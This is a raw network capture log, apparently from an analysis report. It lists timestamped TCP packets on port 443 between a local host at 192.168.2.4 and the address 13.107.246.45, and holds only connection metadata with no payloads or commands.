Nov 16, 2024 20:13:18.742027044 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.742034912 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.742659092 CET	443	49965	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.743118048 CET	49965	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.743134022 CET	443	49965	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.743582010 CET	49965	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.743586063 CET	443	49965	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.744820118 CET	49968	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.744841099 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.744927883 CET	49968	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.745147943 CET	49968	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.745157957 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.814182997 CET	443	49964	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.814270973 CET	443	49964	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.814352036 CET	49964	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.814384937 CET	443	49964	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.814444065 CET	49964	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.814738989 CET	49964	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.814785957 CET	443	49964	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.814825058 CET	49964	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.814841986 CET	443	49964	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.817774057 CET	49969	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.817804098 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.817883968 CET	49969	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.818033934 CET	49969	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.818048000 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.949512005 CET	443	49965	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.949667931 CET	443	49965	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.949721098 CET	49965	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.949853897 CET	49965	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.949877024 CET	443	49965	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.949886084 CET	49965	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.949892998 CET	443	49965	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.954092026 CET	49970	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.954123974 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.954227924 CET	49970	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.954428911 CET	49970	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.954438925 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.088196993 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.088850975 CET	49966	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.088884115 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.089315891 CET	49966	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.089323997 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.217425108 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.217489958 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.217567921 CET	49966	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.217592001 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.217617035 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.217670918 CET	49966	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.217856884 CET	49966	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.217873096 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.217885971 CET	49966	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.217892885 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.221151114 CET	49971	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.221162081 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.221226931 CET	49971	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.221369982 CET	49971	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.221380949 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.235517025 CET	443	49967	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.235929012 CET	49967	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.235941887 CET	443	49967	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.236406088 CET	49967	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.236412048 CET	443	49967	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.369777918 CET	443	49967	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.369971037 CET	443	49967	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.370039940 CET	49967	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.370131969 CET	49967	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.370153904 CET	443	49967	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.370167971 CET	49967	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.370174885 CET	443	49967	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.373191118 CET	49972	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.373224974 CET	443	49972	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.373306036 CET	49972	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.373466969 CET	49972	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.373481035 CET	443	49972	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.476969957 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.483092070 CET	49968	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.483102083 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.483644962 CET	49968	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.483650923 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.547323942 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.551331043 CET	49969	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.551366091 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.552316904 CET	49969	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.552347898 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.609834909 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.609868050 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.609949112 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.609992027 CET	49968	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.609992027 CET	49968	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.611402035 CET	49968	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.611423969 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.611459970 CET	49968	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.611469030 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.620687962 CET	49973	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.620740891 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.620855093 CET	49973	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.620975971 CET	49973	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.620995045 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.677620888 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.677783012 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.677858114 CET	49969	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.677958965 CET	49969	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.677973986 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.677987099 CET	49969	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.677993059 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.680407047 CET	49974	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.680442095 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.680517912 CET	49974	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.680655956 CET	49974	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.680669069 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.686162949 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.686572075 CET	49970	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.686616898 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.687345982 CET	49970	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.687354088 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.816016912 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.816040039 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.816080093 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.816155910 CET	49970	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.816155910 CET	49970	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.816548109 CET	49970	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.816548109 CET	49970	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.816570997 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.816596985 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.819464922 CET	49975	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.819551945 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.819706917 CET	49975	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.819864035 CET	49975	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.819888115 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.966600895 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.967261076 CET	49971	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.967272043 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:19.967951059 CET	49971	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:19.967957020 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.094281912 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.094490051 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.094554901 CET	49971	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.094626904 CET	49971	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.094643116 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.094662905 CET	49971	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.094670057 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.098256111 CET	49976	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.098290920 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.098382950 CET	49976	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.098553896 CET	49976	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.098572016 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.358063936 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.358724117 CET	49973	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.358808041 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.359554052 CET	49973	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.359568119 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.402513981 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.403136969 CET	49974	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.403146029 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.403336048 CET	49974	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.403350115 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.487215042 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.487310886 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.487517118 CET	49973	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.487711906 CET	49973	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.487711906 CET	49973	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.487756014 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.487788916 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.492116928 CET	49977	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.492151976 CET	443	49977	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.492216110 CET	49977	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.492389917 CET	49977	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.492413044 CET	443	49977	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.531624079 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.531716108 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.531788111 CET	49974	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.531804085 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.531831980 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.531965017 CET	49974	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.539776087 CET	49974	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.539777040 CET	49974	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.539817095 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.539828062 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.544686079 CET	49978	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.544712067 CET	443	49978	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.544775963 CET	49978	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.544946909 CET	49978	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.544964075 CET	443	49978	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.560617924 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.561337948 CET	49975	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.561389923 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.561934948 CET	49975	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.561943054 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.688278913 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.688360929 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.688453913 CET	49975	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.688685894 CET	49975	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.688756943 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.688801050 CET	49975	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.688817978 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.692152977 CET	49979	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.692187071 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.692241907 CET	49979	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.692426920 CET	49979	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.692447901 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.857639074 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.858171940 CET	49976	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.858197927 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.858819008 CET	49976	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.858827114 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.987571955 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.987651110 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.987785101 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.987843037 CET	49976	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.987941027 CET	49976	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.987948895 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.987962008 CET	49976	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.987966061 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.990578890 CET	49980	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.990649939 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:20.990752935 CET	49980	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.990955114 CET	49980	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:20.990989923 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.171600103 CET	443	49972	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.172235012 CET	49972	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.172247887 CET	443	49972	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.172869921 CET	49972	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.172884941 CET	443	49972	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.218751907 CET	443	49977	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.219538927 CET	49977	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.219602108 CET	443	49977	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.220727921 CET	49977	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.220742941 CET	443	49977	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.280152082 CET	443	49978	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.280705929 CET	49978	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.280728102 CET	443	49978	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.281285048 CET	49978	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.281301022 CET	443	49978	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.301860094 CET	443	49972	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.302002907 CET	443	49972	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.302161932 CET	49972	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.302217007 CET	49972	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.302242041 CET	443	49972	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.302256107 CET	49972	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.302263021 CET	443	49972	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.305458069 CET	49981	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.305480003 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.305558920 CET	49981	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.305718899 CET	49981	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.305737972 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.354564905 CET	443	49977	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.354648113 CET	443	49977	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.355025053 CET	49977	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.355026007 CET	49977	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.355026007 CET	49977	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.358941078 CET	49982	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.359005928 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.359078884 CET	49982	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.359251976 CET	49982	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.359272957 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.410248995 CET	443	49978	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.410403967 CET	443	49978	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.410552025 CET	49978	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.410726070 CET	49978	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.410734892 CET	443	49978	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.410747051 CET	49978	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.410753012 CET	443	49978	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.414263964 CET	49983	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.414300919 CET	443	49983	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.414372921 CET	49983	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.414526939 CET	49983	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.414546013 CET	443	49983	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.467237949 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.468010902 CET	49979	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.468074083 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.468540907 CET	49979	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.468558073 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.575602055 CET	49977	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.575669050 CET	443	49977	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.604741096 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.604916096 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.606161118 CET	49979	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.618752956 CET	49979	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.618753910 CET	49979	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.618819952 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.618865013 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.622426987 CET	49984	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.622467041 CET	443	49984	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.625814915 CET	49984	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.625998020 CET	49984	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.626022100 CET	443	49984	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.730421066 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.731101036 CET	49980	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.731149912 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.731677055 CET	49980	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.731690884 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.864376068 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.864412069 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.864464045 CET	49980	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.864483118 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.864497900 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.864547014 CET	49980	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.911256075 CET	49980	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.911256075 CET	49980	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.911339998 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.911417961 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.931794882 CET	49985	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.931830883 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:21.931886911 CET	49985	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.932622910 CET	49985	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:21.932640076 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.039917946 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.041074991 CET	49981	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.041104078 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.041570902 CET	49981	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.041579008 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.097013950 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.097544909 CET	49982	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.097588062 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.097944021 CET	49982	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.097949982 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.138720989 CET	443	49983	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.139096975 CET	49983	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.139142036 CET	443	49983	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.139544964 CET	49983	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.139553070 CET	443	49983	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.168593884 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.168729067 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.168786049 CET	49981	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.168863058 CET	49981	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.168879032 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.168893099 CET	49981	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.168898106 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.171603918 CET	49986	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.171623945 CET	443	49986	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.171700954 CET	49986	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.171840906 CET	49986	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.171859026 CET	443	49986	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.228271961 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.228308916 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.228408098 CET	49982	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.228425026 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.228482962 CET	49982	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.228593111 CET	49982	443	192.168.2.4	13.107.246.45
